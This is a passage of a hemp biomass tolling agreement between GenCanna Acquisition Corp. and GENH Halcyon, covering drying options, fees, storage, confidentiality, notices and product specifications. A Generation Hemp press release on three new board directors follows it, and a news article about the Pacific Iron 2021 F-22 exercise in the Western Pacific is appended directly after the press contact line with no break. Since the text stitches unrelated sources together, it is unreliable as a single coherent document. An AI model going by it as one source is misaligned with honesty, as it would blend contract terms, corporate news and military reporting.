3.3 Halcyons obligation for storage of the GAC Biomass at the Halcyon Facility during the Term hereof shall continue during the Term. In addition, for any dried GAC Biomass to be delivered to GAC as provided for in Section 3.5 or Section 3.6 below, Halcyon shall store the dried GAC Biomass at the Halcyon Facility if requested by GAC. Halcyons obligation to store GAC Biomass or dried GAC Biomass, as the case may be, at the Halcyon Facility shall continue through and including December 31, 2022, and such storage shall be at Halcyons sole cost and expense. Provided however, Halcyon may utilize any crates and liners owned by GAC and containing GAC Biomass at the formerly owned Vertical Wellness facility subject to the requirement that Halcyon shall return such crates and liners to GAC upon completion of the drying of the GAC Biomass as provided for in this Agreement. In addition, any excess crates and liners owned by GAC at other locations will be made available to Halcyon at the Halcyon Facility, at no cost or expense to Halcyon. Following the completion of the Term, such crates and liners shall be returned to GAC.

3.4 During the Term, Halcyon shall have the option, determined at its sole discretion, to dry all or part of the GAC Biomass provided that any drying of the GAC Biomass shall be conducted by Halcyon in one (1) million-pound lots or tranches (each a  GAC Biomass Lot ). Accordingly, Halcyons option to dry all or part of the GAC Biomass may be exercised on one (1) or more occasions during the Term to accommodate individual GAC Biomass Lots. At any time that Halcyon elects to exercise its option to dry all or part of the GAC Biomass, then Halcyon shall provide written notice thereof (the  Halcyon Drying Notice ) to GAC, such notice to set forth the volume of GAC Biomass (or the number of GAC Biomass Lots) to be dried and the proposed timing for the completion of drying activities by Halcyon. The drying of the GAC Biomass by Halcyon shall be conducted in accordance with a schedule mutually agreed to by GAC and Halcyon. Notwithstanding any other term in this Agreement, Halcyon shall be required to complete the drying of all GAC Biomass (for which Halcyon exercises its option under this Section 3.4) on or before the expiration of the Agreement. In the event that any GAC Biomass remains in storage at the Halcyon Facility following such date (other than any Biomass that Halcyon is entitled to under Section 3.5(a) ), the terms of Section 3.10 shall apply to the remaining GAC Biomass (other than any Biomass that Halcyon is entitled to under Section 3.5(a) ), and GAC and Halcyon shall proceed under Section 3.10 .

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3.5 Upon receipt of a Halcyon Drying Notice given pursuant to Section 3.4 above, GAC shall have the option, determined in its sole discretion, to elect either of the following courses of action for the allocation of the volume of dried GAC Biomass resulting from Halcyons drying of the GAC Biomass. Within two (2) days following receipt of the Halcyon Drying Notice, GAC shall provide written notice to Halcyon advising Halcyon of GACs election to proceed under either Section 3.5(a) or Section 3.5(b) below.

(a) GAC may elect to require that for each GAC Biomass Lot dried by Halcyon, Halcyon shall deliver twenty-five percent (25%) of the volume of the dried GAC Biomass Lot to GAC with Halcyon being entitled to keep and retain the remaining seventy-five percent (75%) of the volume of the dried GAC Biomass Lot. GAC shall be responsible for the cost (including the costs of freight, insurance, and any applicable fees or duties) of transporting GACs portion of the dried GAC Biomass Lot from the Halcyon Facility to GACs facility or to such other third-party location as GAC may direct.

The total consideration to be received by Halcyon for the drying services provided pursuant to this Section 3.5(a) shall be the seventy-five percent (75%) split of the dried GAC Biomass Lot to be retained by Halcyon as provided for above, and ownership of the seventy-five percent (75%) split of the dried GAC Biomass Lot shall transfer to Halcyon and GAC shall provide sufficient evidence of the transfer of title as is reasonably requested by Halcyon.

(b) GAC may elect to require that for each GAC Biomass Lot dried by Halcyon, Halcyon shall deliver one hundred percent (100%) of the volume of the dried GAC Biomass Lot to GAC. GAC shall be responsible for the cost (including the costs of freight, insurance, and any applicable fees or duties) of transporting GACs portion of the dried GAC Biomass Lot from the Halcyon Facility to GACs facility or to such other third-party location as GAC may direct.

In consideration of the drying services provided by Halcyon pursuant to this Section 3.5(b) , GAC will pay to Halcyon the amount of $0.40 USD per wet inbound pound of GAC Biomass (the  Drying Fee ). The Drying Fee shall be subject to adjustment as provided for in Section 3.7 below. Payment of the Drying Fee shall be the total consideration to be received by Halcyon for the drying services provided pursuant to this Section 3.5(b) . Halcyon shall submit invoices to GAC weekly. Halcyons invoices shall set forth the quantity of GAC Biomass dried by Halcyon during the period in question and the consideration due as determined based on the Drying Fee. Halcyons invoices shall be due and payable net 45 days following presentation of each invoice. In the event that GAC disputes Halcyons invoice for any reason, GAC shall remain obligated to pay that portion of the invoice that is not subject to dispute in accordance with the terms of this Section 3.5(b) .

3.6 At any time during the Term and provided that Halcyon has not exercised its option to dry all or part of the GAC Biomass as provided for in Section 3.4 above, GAC shall have the option, determined at its sole discretion, to require that Halcyon initiate drying of the GAC Biomass by providing written notice thereof (the  GAC Drying Notice ) to Halcyon in one (1) million-pound lots.

Within five (5) business days after receipt of the GAC Drying Notice, Halcyon shall commence drying operations for the GAC Biomass at the rate of approximately 250,000 pounds per week, and not less than 1,000,000 pounds per calendar month. Halcyon shall submit invoices to GAC on a weekly basis during the course of Halcyons drying activities. Halcyons invoices shall set forth the quantity of GAC Biomass dried by Halcyon during the period in question and the consideration due as determined based on the Drying Fee. Halcyons invoices shall be due and payable by GAC net 30 days following presentation of the invoice. In the event that GAC disputes Halcyons invoice for any reason, GAC shall remain obligated to pay that portion of the invoice that is not subject to dispute in accordance with the terms of this Section 3.6 . The Drying Fee shall be subject to adjustment as provided for in Section 3.7 below.

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All GAC Biomass dried by Halcyon pursuant to this Section 3.6 shall be delivered by Halcyon to GAC. GAC shall be responsible for the cost (including the costs of freight, insurance, and any applicable fees or duties) of transporting the dried GAC Biomass from the Halcyon Facility to GACs facility or to such other third-party location as GAC may direct.

3.7 If at any time during the Term, the aggregate quantity of GAC Biomass dried by Halcyon and paid for by GAC pursuant to Section 3.5(b) and/or Section 3.6 above equals or exceeds 4,000,000 pounds of GAC Biomass, then the Drying Fee shall be reduced to $0.375 USD per wet inbound pound of GAC Biomass for any GAC Biomass exceeding 4,000,000 pounds dried by Halcyon hereunder.

3.8 Upon termination of this Agreement, Halcyon shall provide written notice to GAC advising GAC of the quantity of non-dried GAC Biomass remaining at the Halcyon Facility. GAC shall then have a right of first refusal to remove and recover all of the non-dried GAC Biomass as reduced by the volume of GAC Biomass Lots previously dried by Halcyon, if any (such volume being hereinafter referred to as the  Final Biomass Volume ) from the Halcyon Facility and to arrange for the drying and/or processing thereof by another person or entity, at GACs sole discretion. Within thirty (30) days following GACs receipt of Halcyons notice given pursuant to this Section 3.8 , GAC shall advise Halcyon of its desire to exercise, or to decline to exercise, its right of first refusal by providing written notice thereof to Halcyon (the  ROFR Election Notice ). In the event that GAC elects to exercise its right of first refusal, GAC shall have a period of sixty (60) days from the date of the ROFR Election Notice to remove the Final Biomass Volume from the Halcyon Facility at GACs sole costs and expense.

3.9 In the event that GAC declines to exercise its right of first refusal to remove and recover the Final Biomass Volume from the Halcyon Facility as provided for in Section 3.8 above, then Halcyon shall physically destroy, or arrange for the physical destruction of, the Final Biomass Volume at Halcyons sole cost and expense. The destruction of the Final Biomass Volume shall be completed by Halcyon not later than thirty (30) days from the date of the ROFR Election Notice. Halcyon shall promptly deliver to GAC written verification of the destruction of the Final Biomass Volume with such written verification to be signed by an executive officer of Halcyon. Nothing in this Section 3.9 shall be construed to affect any of Halcyons rights to Halcyons portion of the dried GAC Biomass under Section 3.5(a) of this Agreement..

3.10 In the event that any of the GAC Biomass remains in storage at the Halcyon Facility at the end of the Term, then the Term shall be automatically extended for an additional period of six (6) months. During such Renewal Period (as defined in Section 1.1 above), either Halcyon or GAC may elect to exercise their options under Section 3.4 and Section 3.6 , respectively, for purposes of drying all or part of the GAC Biomass remaining in storage at the Halcyon Facility. In the evert that any of the GAC Biomass remains in storage at the Halcyon Facility at the end of the Renewal Period, Halcyon shall physically destroy, or arrange for the physical destruction of, any such GAC Biomass in accordance with the destruction and verification requirements set forth in Section 3.9 above. Destruction of the GAC Biomass pursuant to this Section 3.10 shall be completed not later than thirty (30) days following the end of the Renewal Period.

3.11 For purposes of this Agreement, the dried GAC Biomass produced by Halcyon hereunder shall meet the specifications and packaging requirements set forth on Exhibit A attached hereto. All dried GAC Biomass shall comply with applicable law, including, without limitation, Sections 110, and 117 Title 21 of the Code of Federal Regulations.

3.12 Halcyon shall perform the services required pursuant to this Section 3 in a skillful and workmanlike manner consistent with generally accepted standards and practices in the industrial hemp industry in the United States.

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3.13 Halcyon shall, with input from GAC, implement reasonable storage and security protocols at the Halcyon Facility as are customary in the industry to protect and preserve the GAC Biomass and any dried GAC Biomass.

3.14 Halcyon will provide sufficient qualified personnel and equipment, and processing, storage, and shipment facilities to support Halcyons obligations under this Agreement. Such facilities shall be clean and compliant with applicable laws and GACs compliance requirements and standards.

3.15 Halcyon shall maintain accounting and reporting systems to track the GAC Biomass from receipt at the Halcyon Facility through drying to the point when dried GAC Biomass is delivered.

3.16 Halcyon shall, upon reasonable notice of not less than forty-eight (48) hours, permit GAC personnel reasonable access to the Halcyon Facility to perform audits and reviews of Halcyons performance of its obligations under this Agreement; provided, however, that such requests for access are limited to one (1) request per month.

4. Title and Risk of Loss; Access to GAC Biomass .

4.1 Except for any GAC Biomass that Halcyon is entitled to ownership and retention of under Section 3.5(a) of this Agreement, title in and to the GAC Biomass, including any dried GAC Biomass and any post-processing GAC Biomass shall remain with GAC, with Halcyon possessing GAC Biomass as GACs bailee while GAC Biomass is in Halcyons possession or under its control. Risk of loss with respect to GAC Biomass, any dried GAC Biomass and any post-processing GAC Biomass shall be borne by Halcyon but shall not exceed the amounts of insurance required under the terms of this Agreement for so long as they are in Halcyons possession and under its control and the Parties shall obtain, bear the cost of and maintain applicable insurance policies with coverages in an amount as is consistent with generally accepted standards and practices in the industrial hemp industry in the United States (as may reasonably be acquired) for the volumes of GAC Biomass being dried.

4.2 Halcyon agrees that at any time, GAC or its representatives or invitees may (with reasonable notice) enter upon the Halcyon Facility without any interference by Halcyon to inspect or remove any or all of the GAC Biomass, any dried GAC Biomass, and any post-processing GAC Biomass except with respect to any dried GAC Biomass to be retained by Halcyon pursuant to Section 3.5(a) of this Agreement.

5. Consideration; Expenses .

5.1 Halcyons retention of a portion of the dried GAC Biomass as provided for in Section 3.5(a) of this Agreement and the payment of the Drying Fee by GAC to Halcyon pursuant to Section 3.5(b) and/or Section 3.6 shall be the only consideration or payments to be received by Halcyon for the performance of its obligations under this Agreement.

5.2 Except as otherwise specifically provided in this Agreement, each Party shall bear its own fees and expenses incurred in connection with this Agreement and in connection with all covenants and obligations required to be performed by such Party under this Agreement.

6. Termination .

6.1 Termination by Mutual Agreement . This Agreement may be terminated upon mutual written agreement of the Parties.

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6.2 Termination for Breach . Except as otherwise provided in this Agreement, either Party may terminate this Agreement upon written notice to the other Party, if such Party breaches or defaults under any material term, covenant, or condition hereunder and fails to cure such material breach within thirty (30) days after receiving written notice thereof from the non-breaching Party. Any termination under this Section 6.3 shall be without prejudice to any other rights or remedies available to the terminating Party.

6.3 Upon Termination . Termination of this Agreement for any reason shall not discharge either Partys liability for obligations incurred hereunder and amounts unpaid at the time of termination or for any other obligations arising hereunder that survive by its terms. Upon termination, each Party shall return to the other all Confidential Information (as defined below) and other property of the other Party that is in its possession or under its control at the time of termination.

6.4 Survival of Terms . Any term or condition of this Agreement required for the interpretation or enforcement of this Agreement or necessary for the full observation and performance by each Party of all rights and obligations arising prior to the date of expiration or termination shall survive the expiration or termination of this Agreement.

7. Representations, Warranties and Covenants .

7.1 Mutual Representations and Warranties . Each Party represents and warrants to the other that it has the full right, power and authority, including all necessary licenses, to enter into and perform its responsibilities under this Agreement without the need for any third-party consents or approvals, and that doing so will not conflict with any other agreement to which it is a party or any other legal obligation by which it or its assets is bound. Each Party represents and warrants to the other that all of its activities under or in connection with this Agreement will be in compliance with applicable law.

7.2 Halcyon Services Warranty . Halcyon warrants that all drying and processing services provided by it under this Agreement will be performed in a professional and workmanlike manner, and in accordance with the requirements of this Agreement, applicable Good Manufacturing Practices, prevailing industry standards and best practices, and applicable law.

8. Intellectual Property .

8.1 GAC Intellectual Property . GAC shall retain full and complete ownership of its intellectual property, including but not limited to patents, technological know-how, processes, trademarks, copyrights, and no right, license, title, express or implied, is hereby transferred to Halcyon by virtue of this Agreement.

8.2 Halcyon Intellectual Property . Halcyon shall retain full and complete ownership of its intellectual property, including but not limited to patents, technological know-how, processes, trademarks, copyrights, and no right, license, title, express or implied, is hereby transferred to GAC by virtue of this Agreement.

9. Confidentiality .

9.1 Unless GAC and Halcyon have entered into a separate confidentiality agreement that governs their exchanges of information under or pursuant to this Agreement, the following provisions of this Section 9 shall apply to the Parties respective activities under or in relation to this Agreement.

9.2 For purposes of this Section 9 , the term  Confidential Information  includes the following: (i) all written information furnished or made available by or obtained from or on behalf of one Party (the  Disclosing Party ) and provided or disclosed to the other Party (the  Receiving Party ), whether disclosed before or after the Parties execution of this Agreement, whether or not proprietary in nature, and includes all analyses, compilations, studies and other material prepared by the Receiving Party or their respective Representatives (as defined below) to the extent that such material contains or is based in whole or in part upon such information furnished hereunder; (ii) the fact that discussions between the Parties are taking place or may have taken place regarding a proposed business arrangement or transaction and any information pertaining thereto; and (iii)  Trade Secrets , which are defined as information, including a formula, pattern, compilation, program, data, device, method, technique, that: (1) derives independent economic value, actual or potential, from not being generally known to, and not being readily ascertainable by proper means by, other persons who can obtain economic value from its disclosure or use, and (2) is the subject of efforts that are reasonable under the circumstances to maintain its secrecy.

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9.3 The Receiving Party receive all Confidential Information in strict confidence and shall take all reasonable and necessary steps to maintain and protect the confidentiality and secrecy of the Confidential Information, and shall not disclose, divulge or reveal any Confidential Information to any third parties without the prior written approval of the Disclosing Party. This obligation of confidentiality shall not apply to information which (i) is or becomes publicly available by means other than a breach hereof (including, without limitation, any information filed with any governmental agency and available to the public); (ii) is known to or in the possession of Receiving Party at the time of disclosure; (iii) thereafter becomes known to or comes into possession of Receiving Party from a third party that Receiving Party reasonably believes is not under any obligation of confidentiality to the Disclosing Party and is lawfully in the possession of such information; (iv) is developed by Receiving Party independently of any disclosures made by Disclosing Party to Receiving Party; (v) is required to be disclosed by order of a court of competent jurisdiction, administrative agency or governmental body, or by subpoena, summons or other legal process, or by law, rule or regulation, or by applicable regulatory or professional standards, provided that prior to such disclosure by Receiving Party to the extent possible, Disclosing Party is given reasonable advance notice of such order and an opportunity to object to such disclosure; or (vi) is disclosed by Receiving Party in connection with any judicial or other legal proceeding involving Receiving Party and Disclosing Party relating to this Agreement.

9.4 Nothing in this Agreement is intended to grant any license or any intellectual property or other rights to the Receiving Party in the Confidential Information of the Disclosing Party.

10. Indemnification .

10.1 By Each Party . Each Party (the  Indemnifying Party ) agrees to defend, indemnify, and hold harmless the other Party (the  Indemnified Party ), its affiliates, and their respective officers, directors, shareholders, members, employees, agents and representatives from and against any claim (i) for bodily injury (including death) or damage to tangible property resulting from the negligence or willful misconduct of the Indemnifying Party or any of its representatives; (ii) that, if true, would constitute or be attributable to a breach of the Indemnifying Partys covenants or obligations contained herein or the representations and warranties of the Indemnifying Party provided in Section 7 above; or (iii) that, if true, would constitute or be attributable to the Indemnifying Partys failure to comply with applicable law; and, in any of such cases, from and against all resulting indemnifiable losses.

10.2 Procedures for Indemnification . Promptly after receipt of notice of any claim giving rise to a claim for indemnification hereunder, the Indemnified Party will provide the Indemnifying Party with written notice of the claim. Failure to notify the Indemnifying Party will not relieve the Indemnifying Party of its indemnification obligations except to the extent that the failure or delay is prejudicial to the defense or settlement of the claim. The Indemnified Party will provide the Indemnifying Party with reasonable cooperation and assistance in the defense or settlement of any claim (at the Indemnifying Partys cost and expense) and grant the Indemnifying Party control over the defense and settlement of the claim; provided, however, that any indemnified person shall be entitled to participate in the defense of the claim and to employ counsel at its own expense to assist in the handling of the claim. The Indemnifying Party shall not agree to any settlement that results in an admission of liability by the Indemnified Party or an indemnified person without the Indemnified Partys prior written consent, which consent shall not be unreasonably withheld or delayed. If the Indemnifying Party fails to assume the defense of any claim, or does not diligently pursue its defense or settlement, the Indemnified Party may retain counsel and defend (or settle) the claim at the cost and expense of the Indemnifying Party.

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10.3 SOLE REMEDY . THIS SECTION 10 STATES THE ENTIRE OBLIGATION OF THE PARTIES AND EXCLUSIVE REMEDIES WITH RESPECT TO THE PARTIES INDEMNIFICATION OBLIGATIONS UNDER THIS AGREEMENT.

11. Force Majeure .

11.1 If either Party is prevented from timely carrying out and fulfilling its obligations under this Agreement due to circumstances beyond its reasonable control and not caused by its own fault or negligence (including (i) acts of God, (ii) strikes, lockouts or acts of the public enemy, (iii) wars, blockades, insurrections, riots, epidemics, acts of terrorism, (iv) transportation shortages, (v) landslides, lightning, earthquakes, fires, storms, floods, washouts, tornadoes, (vi) civil disturbances, and (vii) explosions), such Party shall promptly give written notice and reasonably complete particulars of such circumstances to the other Party, stating the obligation(s) the performance of which is, or is expected to be, delayed or prevented. The obligations of the notifying Party shall be suspended during and to the extent affected by the event and the Party whose performance is impaired thereby shall, so far as possible, resume performance with all reasonable dispatch.

12. Insurance .

12.1 During the Term and for a period of twelve (12) months following expiration or termination thereof, each Party shall, to the extent available at a commercially reasonable cost, procure and maintain with financially sound and reputable insurers the types and amounts of insurance coverage as are typically carried in the applicable industries and applicable law, which shall be reviewed periodically by GAC and Halcyon and the types and amounts of insurance coverage shall be adjusted accordingly. Halcyon shall name GAC as an Additional Insured on its commercial insurance policies.

13. Notices .

13.1 Any notice, demand or request required or permitted to be given under this Agreement shall be in writing and shall be deemed received when delivered personally or by overnight courier at the time the courier indicates that the notice was received. A copy may be sent by facsimile or email. Notices shall be sent to the addresses below, or to such other address as requested in writing by a Party.

If to GAC :

GenCanna Acquisition Corp.

4274 Colby Road

Winchester, Kentucky 40392

Attn: Andrew Barnett, Chief Executive Officer

Phone: ________________

Email: ________________

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If to Halcyon :

GENH Halcyon Acquisition, LLC

P.O. Box 540308

Dallas, Texas 75209

Attn: Gary Evans

Phone: 214-533-6565

Email: gevans@genhempinc.com

14. Miscellaneous .

14.1 Assignment . Neither this Agreement, nor any of the rights or obligations of the Parties hereunder, may be transferred or assigned by either Party without the prior written consent of the other Party, which consent shall not be unreasonably withheld, conditioned or delayed, except that (a) GAC may, without Halcyons consent (but with notice to Halcyon pursuant to Section 13 ), assign or transfer any or all of its rights or obligations under this Agreement to any assignee, successor or transferee who acquires GAC, and (b) Halcyon shall, without GACs consent (but with notice to GAC pursuant to Section 13 ), assign or transfer any or all of its rights or obligations under this Agreement to any assignee, successor or transferee who acquires Halcyon, in each case, regardless of whether such acquisition takes the form of an acquisition of stock or other equity interests, an acquisition of all or substantially all of Halcyons assets, a merger or other combination of Halcyon with and/or into another entity, or otherwise. Any purported assignment of this Agreement in contravention of this Section 14.1 is void and of no effect. This Agreement shall inure to the benefit of the successors and permitted assigns of the Parties.

14.2 Governing Law; Waiver of Jury Trial . The Agreement will be interpreted, construed, and enforced in accordance with the procedural, substantive and other laws of the Commonwealth of Kentucky without giving effect to conflicts of law principles and provisions thereof. TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE PARTIES AGREE TO WAIVE ANY RIGHT TO TRIAL BY JURY WITH RESPECT TO ANY CLAIM, COUNTERCLAIM OR ACTION ARISING FROM THE TERMS OF THIS AGREEMENT.

14.3 Venue for Legal Actions . All actions and proceedings arising out of or relating to this Agreement shall be heard and determined in the state or federal district courts sitting in Fayette County, Kentucky. Each Party consents to personal jurisdiction in any legal action, lawsuit or proceeding with respect to this Agreement in any court, federal or state, within Fayette County, Kentucky, having subject matter jurisdiction and with respect to any such claim, each Party irrevocably waives, to the fullest extent permitted by law, any claim, or any objection that such Party may now or hereafter have, that venue or jurisdiction is not proper with respect to any such legal action, suit or proceedings brought in such court in Fayette County, Kentucky, including any claim that such legal action, suit or proceeding brought in such court has been brought in an inconvenient forum and any claim that such Party is not subject to personal jurisdiction or service of process in such Fayette County, Kentucky forum .

14.4 Entire Agreement . This Agreement constitutes the entire agreement between the Parties with respect to the subject matter contained herein and any and all previous agreements, written or oral, express or implied, between the Parties or on their behalf relating to the matters contained herein are hereby terminated and canceled.

14.5 Amendments . There will be no modification of the terms and provisions hereof except by a mutual agreement in writing signed by the Parties. Any attempt to so modify this Agreement in the absence of such writing signed by the Parties shall be considered void and of no effect.

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14.6 Cumulative Remedies . Unless otherwise specifically provided in this Agreement, the rights, powers, and remedies of each of the Parties provided in this Agreement are cumulative and the exercise of any right, power, or remedy under this Agreement does not affect any other right, power, or remedy that may be available to either Party under this Agreement or otherwise at law or in equity.

14.7 Faithful Performance and Good Faith . The Parties shall faithfully perform and discharge their respective obligations in this Agreement and endeavor in good faith to negotiate and settle all matters arising during the performance of this Agreement that are not specifically provided for herein.

14.8 Relationship of the Parties . Except as otherwise expressly provided herein, this Agreement shall not create or be construed to create in any respect a partnership or any agency or joint venture relationship between the Parties. The relationship of Halcyon and GAC established by this Agreement is that of independent contractors, and nothing contained in this Agreement shall be construed (i) to give either Party the power to unilaterally direct and control the day-to-day activities of the other; or (ii) to constitute the Parties as partners, joint venturers or co-owners. Except as otherwise provided herein, nothing contained in this Agreement shall be construed as conferring any right or benefit on a person not a Party to this Agreement.

14.9 Third Party Beneficiaries . There are no intended third-party beneficiaries of this Agreement.

14.10 Counterparts . This Agreement may be executed in multiple counterparts with the same effect as if GAC and Halcyon had signed the same document, and all counterparts will be construed together and constituted as one and the same instrument. Each counterpart signature may be executed and delivered to the other Party by facsimile machine or electronic transfer, and the signature as so transmitted shall be as binding upon the executing Party as its original signature, without the necessity of the recipient Party to establish original execution or the existence of a signed original.

14.11 Severability . Any provision of this Agreement which is or becomes prohibited or unenforceable in any jurisdiction shall not invalidate or impair the remaining provisions of this Agreement, and the remaining terms of this Agreement shall continue in full force and effect. If allowed by the law of the applicable jurisdiction, the unenforceable provision(s) shall be amended to the extent necessary to be enforceable while conforming as closely as possible to the original intent of this Agreement and, as so amended, this Agreement shall continue in full force and effect.

14.12 Headings; Construction . The section and subsection headings used herein are for convenience of reference only and shall not affect the construction or interpretation of this Agreement. Unless the context of this Agreement otherwise requires, (i) words of any gender shall be deemed to include each other gender; (ii) words using the singular or plural number shall also include the plural or singular number, respectively; and (iii) the terms hereof, herein, hereby, hereto, and derivative or similar words shall refer to this entire Agreement. References herein to Sections and Attachments are to this Agreements provisions and Attachments, respectively.

14.13 Waiver . No delay or omission in the exercise of any right, power, or remedy hereunder shall impair such right, power, or remedy or be construed to be a waiver of any default or acquiescence therein.

14.14 Interpretation . This Agreement shall not be interpreted against the Party drafting or causing the drafting of this Agreement. All Parties hereto have participated in the preparation of this Agreement.

[ Signature Page Follows]

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IN WITNESS WHEREOF, the Parties have executed this Biomass Tolling Agreement to be effective as of the Effective Date.

GenCanna Acquisition Corp. GENH Halcyon Acquisition, LLC By: /s/ Andrew G. Barnett By: /s/ Gary C. Evans Name: Andrew G. Barnett Name: Gary C. Evans Title: Chief Executive Officer Title: Chairman and Chief Executive Officer

11

EXHIBIT A

Product Specifications

GAC Biomass Specifications : Green, dry or wet Biomass chopped to 3/8-1 3/16 pieces with less than 0.03% THC, calculated on a dry-weight basis, grown in compliance with the requirements of the USDA, State, or federally recognized tribe, as the case may be, by a licensed grower.

Product Specifications :

The dried GAC Biomass will have moisture content of 10% or less. Before packaging and delivery to GAC, Halcyon shall pack and seal the weighed and dried GAC Biomass in bags and stored in crates containing approximately 250 kilograms of dried GAC Biomass each.

12

GENERATION HEMP ANNOUNCES THE APPOINTMENT OF

THREE NEW INDEPENDENT BOARD OF DIRECTOR MEMBERS

DALLAS, TX  July 14, 2021, Generation Hemp, Inc., a Dallas/Fort Worth based midstream hemp company (OTCQB: GENH), today announced the appointment of three new members to the Companys Board of Directors, all of which are deemed Independent. Following this, the Board of Directors will consist of four directors. The new directors were appointed by a majority consent of the voting shares of the Company as reported in the Companys Preliminary Information Statement on Schedule 14C filed with the Securities and Exchange Commission on July 14, 2021, and will assume their roles following the effective date of the information statement. The following independent directors bring a wide array of business, legal and financial experience as well as relevant industry experience to the Companys Board and include: Gary D. Elliston, Senior Partner of DeHay & Elliston, John Harris, and Joe L. McClaugherty, Senior Partner of McClaugherty & Silver, P.C., L.L.P.

Generation Hemps Chairman and CEO, Gary C. Evans, said, The appointment of Gary, John, and Joe to the Companys Board of Directors reflects the Companys ongoing efforts to strengthen its corporate governance to meet the requirements of a larger trading platform. In addition, the past experience and overall expertise of these three individuals provides the Company with highly qualified independent directors to provide leadership and guidance in the Companys strategic efforts to grow our business both internally and via acquisitions within the hemp midstream space as well as our ultimate goal of creating increased shareholder value.

Gary D. Elliston. Mr. Elliston is the senior founding partner of DeHay & Elliston, L.L.P. where he specializes in the areas of toxic tort, commercial litigation, and professional and product liability litigation. He graduated cum laude from Howard Payne University in 1975, and as a Hatton W. Sumners Foundation Scholar, cum laude, from Southern Methodist University Law School in 1978. In 2007, he received an Honorary Doctorate of Humanities from Howard Payne University. He has served as a member of numerous professional, community and charitable organizations He is licensed to practice law in five states and actively tries cases around the US. He has been recognized multiple years as a Texas Super Lawyer and Best Lawyers in America.

John Harris. Mr. Harris is currently a private investor in a cannabis growing operation based in southern California. Mr. Harris previously served as a member of the senior leadership team at EDS for approximately 25 years. He is also the former President and CEO of eTelecare Global Solutions; a $300M private equity backed business process outsourcing company. Prior to eTelecare, Mr. Harris was President and CEO of Seven World Wide, a $400 million private equity backed Marketing Services BPO Company with operations in North America and the United Kingdom. Mr. Harris is a graduate of the University of West Georgia where he earned both a BBA and MBA. He currently serves on the Board of Advisors to the Richardson School of Business at the University of West Georgia. Mr. Harris has held board positions with a number of public and private telecommunications and technology services companies, and currently sits on the board of The Hackett Group. Mr. Harriss experience as a senior executive and board member at a variety of global companies coupled with his recent experience as an investor in the cannabis space makes him an important asset as we try to grow and expand the Companys business.

Joe L. McClaugherty. Mr. McClaugherty previously served as a director of Magnum Hunter Resources Corporation from 2006 through 2016 where he served as Lead Director during the last three years of his tenure. Mr. McClaugherty is a senior partner of McClaugherty& Silver, P.C., a full service firm engaged in the practice of civil law, located in Santa Fe, New Mexico. He has practiced law for 40 years and has had a Martindale-Hubbell rating of AV Preeminent for over 20 years and is a Fellow of the International Academy of Trial Lawyers. Prior to founding McClaugherty & Silver, P.C. in 1992, he was the Managing Partner of the Santa Fe office of Kemp, Smith, Duncan & Hammond, and, earlier, of Rodey, Dickason, Sloan, Akin & Robb. Mr. McClaugherty has served on numerous boards of both international and domestic companies. He received a BBA with Honors from the University of Texas in 1973 and a JD with Honors from the University of Texas School of Law in 1976. He is admitted to the Bars of the State of New Mexico, Texas and Colorado, as well as the Federal Bars of the Districts of New Mexico and Colorado, the Tenth Circuit Court of Appeals and the United States Supreme Court. The Company believes that it will benefit from Mr. McClaughertys business and law degrees from the University of Texas at Austin, his approximately 40 years of legal experience in a broad-based civil practice and his extensive business experience on boards of both international and domestic companies.

About Generation Hemp, Inc.

Generation Hemp, Inc. is a Dallas/Fort Worth based hemp company that operates in the midstream sector. With operations in Hopkinsville, Kentucky and Denver, Colorado, the company uses its proprietary technology to dry, clean and store hemp. In addition, Generation Hemp also owns and leases real estate to cannabis companies located within the greater Denver area.

Forward Looking Statements

This press release may contain forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. The use of words such as believes, expects, anticipates, intends, plans, estimates, projects, forecasts, proposes, should, likely or similar expressions, indicates a forward-looking statement. These statements and all the projections in this press release are subject to risks and uncertainties and are based on the beliefs and assumptions of management, and information currently available to management. The actual results could differ materially from a conclusion, forecast or projection in the forward-looking information. The identification in this press release of factors that may affect the companys future performance and the accuracy of forward-looking statements is meant to be illustrative and by no means exhaustive.

Contact:

Melissa Pagen

Generation Hemp, Inc.

Phone: 310-628-2062

Email: mpagen@genhempinc.com
An F-22 Raptor, assigned to the 199th Fighter Squadron, lands on Joint Base Pearl Harbor-Hickam, Hawaii, June 13, 2017. The F-22 Raptor is the Air Forces fifth generation fighter aircraft. Its combination of stealth, supercruise, maneuverability and integrated avionics, coupled with improved supportability, represents an exponential leap in warfighting capabilities. (Heather Redman/U.S. Air Force)

(Tribune News Service)  Hawaii Air National Guard F-22s are deploying to an exercise in the Western Pacific that includes a large numberabout 25of the stealth fighters from Hawaii and Alaska that are a key part of the "kick down the door " force for any possible conflict with China.

"Pacific Iron 2021 " will focus on deploying and sustaining air power from smaller and dispersed bases on Guam and Tinian Island in the Northern Mariana Islands and also includes about 10 F-15E Strike Eagles and two C-130J cargo aircraft, Pacific Air Forces said Monday.

Retired Air Force Lt. Gen. Dan "Fig" Leaf, a former deputy commander of U.S. Pacific Command and now managing director of security consultancy Phase Minus 1, said he's not aware of a previous exercise utilizing F-22s in such numbers.

"I'm not in the Department of Defense anymore, so I have no insight into who's messaging whom specifically, " Leaf said. "But what I would say is if I'm China, I'd pay attention to the message  whether it's intended for them or not  because this is capability both in the aircraft, the F-22, and the flexibility and expeditionary nature of the U.S. Air Force that goes back to World War I, that they (China) can't duplicate."

Leaf added that if he were in China's shoes, "I'd take it as a demonstration of the legitimacy of the American commitment to the region, because messaging is one thing when it's just words. But this is not just a statement, it's an investment in capability because it's not cheap to deploy 25 F-22s from two different bases to the Western Pacific."

The exercise being held in "July"  Pacific Air Forces wasn't more specific  involves more than 35 aircraft and 800 personnel, and takes place at three airports on Guam and one on Tinian.

Although deterrence is the goal, in the event of conflict with China, aircraft with stealth and advanced sensors such as F-22s, F-35 Lightning IIs, B-2 bombers and, in the future, B-21 Raider bombers and the Next Generation Air Dominance, or NGAD, fighter, would lead the air campaign.

Once in the Western Pacific, those aircraft  and others  would have to avoid being targeted on the ground by an increasingly sophisticated array of missiles.

Pacific Iron 2021 will focus on simulated combat flight operations using "agile combat employment," or ACE. Gen. Kenneth Wilsbach, commander of Pacific Air Forces headquartered at Joint Base Pearl Harbor-Hickam, said during a media briefing in June that instead of concentrating aircraft on large bases, ACE calls for dispersing forces to many hubs and spokes "so that you would be moving about between the hubs and spokes multiple times per day, multiple times per week."

The strategy "creates a targeting problem for any adversary because not only would they have to target the hubs, but they would also have to target the spokes," Wilsbach said, "and that really dilutes the amount of firepower that they can put down on any one of those targets."

